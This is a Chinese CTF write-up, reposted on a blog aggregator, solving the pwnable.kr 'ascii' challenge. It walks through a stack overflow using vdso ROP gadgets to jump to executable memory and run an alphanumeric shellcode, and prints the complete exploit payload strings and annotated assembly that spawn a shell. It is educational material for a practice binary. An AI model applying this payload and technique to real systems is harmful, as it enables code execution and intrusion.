pwnable之ascii
来源:互联网 发布:linux 获取函数返回值 编辑:程序博客网 时间:2024/06/05 20:53
pwnable.kr ascii writeup
程序只开启了DEP
在vuln函数中有一个很明显的栈溢出
但是输入时会校验是否为ascii字符
既然是本地利用,那就先ulimit -s unlimited(可以让so和vdso的基地址固定),然后调试查看内存布局
由于vdso的基地址为0x55557000,因此可以使用vdso的ropgadget,接下来dump出这段内存,然后在vuln的返回处0x08048F0D下断,查看栈上的信息
发现栈上有0x80000000,由于程序开启了DEP,而0x80000000这段内存是可执行的,因此可以通过构造ROP链让程序返回到0x80000000,搜索一发ropgadget
我这里选择使用两个pop pop pop ret(0xb60)和一个pop pop ret(0xb61),这样就可以让程序返回到0x80000000,接下来就是找ascii shellcode了,网上找到一篇http://inaz2.hatenablog.com/entry/2014/07/11/004655,执行这段shellcode前需要把这段shellcode的地址存到eax,而且最后是返回到栈上执行,所以在真正执行前需要把eax设为这段shellcode的地址,并且把esp指向0x80000000上的一个地址,通过查看vuln函数的栈布局知道局部变量空间大小是0xa8,由此可以构造如下payload
'A' * 0x25 + 'PYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx' + '`{UU' + 'A' * 12 + '`{UU' + 'A' * 12 + 'a{UU'
在返回到0x80000000之前查看下寄存器和栈布局
可以发现ebx存放的是输入的结尾地址,而真正shellcode的地址为0x80000025,由此可以构造如下payload
j0X40PZJCCCSTY01XP\CCCCCCCCCCCCCCCCCCPYj0X40PPPPQPaJRX4Dj0YIIIII0DN0RX502A05r9sOPTY01A01RX500D05cFZBPTY01SX540D05ZFXbPTYA01A01SX50A005XnRYPSX5AA005nnCXPSX5AA005plbXPTYA01Tx`{UUAAAAAAAAAAAA`{UUAAAAAAAAAAAAa{UUAAAAAAA
j0X40PZJCCCSTY01XP\CCCCCCCCCCCCCCCCCC为
push 0x30pop eax// eax = 0xor al, 0x30push eaxpop edx// edx = 0xffffffffdec edxinc ebxinc ebxinc ebx// ebx = 0x800000dapush ebxpush esppop ecx// 0xda ^ 0xff = 0x25xor [ecx], dh// eax = 0x80000025pop eaxpush eax// esp = 0x80000025pop esp// paddinginc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebxinc ebx
另外还要注意esp要尽量大,不然如果esp小于0x80000000,程序就会出错,最后用这个payload拿到shell
*作者:bird@Hurricane Security Mottoin授权发布
原创文章,作者:Moto,如若转载,请注明出处:http://www.mottoin.com/87792.html
- pwnable之ascii
- pwnable之coin1
- pwnable之blackjack
- pwnable.kr 之fd
- pwnable.kr之bof
- pwnable.kr之flag
- pwnable.kr之passcode
- pwnable.kr之random
- pwnable.kr之shellshock
- pwnable.kr之mistake
- pwnable.kr之input
- pwnable.kr之lotto
- pwnable.kr之cmd1
- pwnable.kr之blackjack
- pwnable.kr之uaf
- pwnable之input
- pwnable.kr之cmd2
- pwnable.kr之uaf
- JavaScript判断用户密码的安全强度
- 64位win10+cuda8.0+vs2013+cuDNN V5下Caffe的编译安装教程并配置matlab2014a 接口
- laravel 登录
- CSS深入理解(2)z-index
- 用R Markdown 生成数据分析报告
- pwnable之ascii
- java-递归算法
- 使用PS绘制闪电效果
- Oil Deposits(DFS模板题)
- rm 利用 ls -l, grep, awk 命令删除指定时间创建的文件或目录
- Python 三种导入模块的方法和区别
- 单点登录原理的简单实现
- laravel5之自定义验证规则15位18位身份证验证
- AWS、Vmvare和Openstack三种云架构